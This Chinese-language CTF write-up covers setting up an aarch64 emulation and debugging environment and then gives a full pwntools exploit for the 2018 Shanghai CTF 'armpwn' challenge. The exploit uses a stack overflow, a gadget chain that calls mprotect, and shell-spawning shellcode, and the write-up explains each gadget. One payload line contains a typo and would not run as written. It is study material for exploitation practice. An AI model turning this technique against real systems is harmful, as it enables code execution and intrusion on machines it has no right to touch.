环境搭建:
aarch64依赖库:
apt-get install libc6-arm64-cross
动态需要指定动态库加载路径:
qemu-aarch64-static -L /usr/aarch64-linux-gnu ./arm
安装:gdb-multiarch
sudo apt-get install git gdb-multiarch
调试时,需要启动gdb-multiarch
gdb-multiarch
配置框架:
set architecture aarch64
连接远程端口:
target remote localhost:1234
方笔方便和pwndbg或者peda兼容,需要降低gdb版本:
sudo apt-get remove gdb
各版本gdb:
http://ftp.gnu.org/gnu/gdb/
linux 下安装lantern:
deb文件安装好后,需要安装包:
apt-get install gir1.2-appindicator3-0.1
pwntools 的 asm功能报错的情况–针对arm:
解决方法:
git clone https://github.com/Gallopsled/pwntools-binutils
cd pwntools-binutils
cd ubuntu
sudo ./install_all.sh arm
sudo ./install.sh arm
需要Binutils库支持的框架才行。
调试过程当中,下断点:
具体调试时,刚刚用gdb来target的时候,是先劫持到加载器,我们的要程序还没加载进去。
没开pie可以先下断点,等待劫持即可。
这里出现一个问题:checksec的时候pie为0x400000
先利用:cyclic 200 产生字符串,造成溢出来捕获程序的位置,确定真实的基地址,这个方法会导致确定错误的基址。
cyclic 200确定的基址是:0x410000,这是错误的,真正的基址还是0x400000。
确定基址我们就可以把断点下到任意位置了。
如图:
真实的基址(错误的),注意看各个区段的属性:
经过调试,程序加载的基址并不是0x410000,好像是产生异常后,将0x400000的数据拷贝到0x410000的
程序的真正基址还是0x400000,如图:
列题:
2018上海 ctf 的armpwn。
exp是参考别人的:
调试exp时,先下断点,再调试。
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
context.binary = "./arm"
binary = './arm'
if sys.argv[1] == "r":
p = remote("106.75.126.171",33865)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", binary])
elf = ELF("./arm")
buf = asm(shellcraft.aarch64.sh())
buf = buf.ljust(0x100,'\x00')
buf += p64(0x400600) # mportect 的plt
p.recvuntil('Name:')
p.send(buf.ljust(512,'\x00'))
payload = 'a'*72 + p64(0x4008CC)
payload +=p64(0) + p64(0x4008AC) # x29 x30
payload +=64(0) + p64(1) # x19 x20
payload +=p64(0x411168) + p64(5) # x21 x22
payload += p64(0x1000) + p64(0x411000) # x23 x24
# x21 x19 控制x3 最后B.NE x3 控制x3指向 mprotect的plt地址,x3为bss上我们事先填好的mportect的plt
# x24 -> x0 x23-> x1 x22-> x2
payload +=p64(0) + p64(0x411068)
# 执行完mprotect 之后会将栈上的数据弹到x29 x30 ,然后ret 我们填充x30,ret到shellcode
# LDP X29, X30, [SP],#0x10
p.send(payload)
p.interactive()
arm下的ROP技巧总结:
1.确定多少长度发生栈溢出?cyclic 0x200 可以
2.寻找合适的gadget
3.shellcode的编写,或者是调用system函数。
这里讲一下,前面使用到的万能gadget:
.text:00000000004008AC LDR X3, [X21,X19,LSL#3]
.text:00000000004008B0 MOV X2, X22
.text:00000000004008B4 MOV X1, X23
.text:00000000004008B8 MOV W0, W24
.text:00000000004008BC ADD X19, X19, #1
.text:00000000004008C0 BLR X3
.text:00000000004008C4 CMP X19, X20
.text:00000000004008C8 B.NE loc_4008AC
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#var_s10]
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC RET
第一步ret到4008cc,就会将栈内的数据传到x19 x20 x21 x22 x24 x24 x29 x30这八个寄存器里,
第二步 我们控制x30为0x4008AC,之后又会ret到0x4008ac处执行,
我们还要控制,[X21+X19<<3]内存处的内容赋值给X3, X22赋值给X2,X23赋值给X1,X24赋值给X0,然后跳到X3执行,(x21,x19控制x3),就是参数和返还地址的控制,
注意还要控制x19和x20实现cmp 不等于跳转x3.
第三步就是控制x3为mprotect的plt的地址,mprotect执行完之后会执行: LDP X29, X30, [SP],#0x10指令
最后再控制x30为shellcode的地址,就会去执行shellcode了。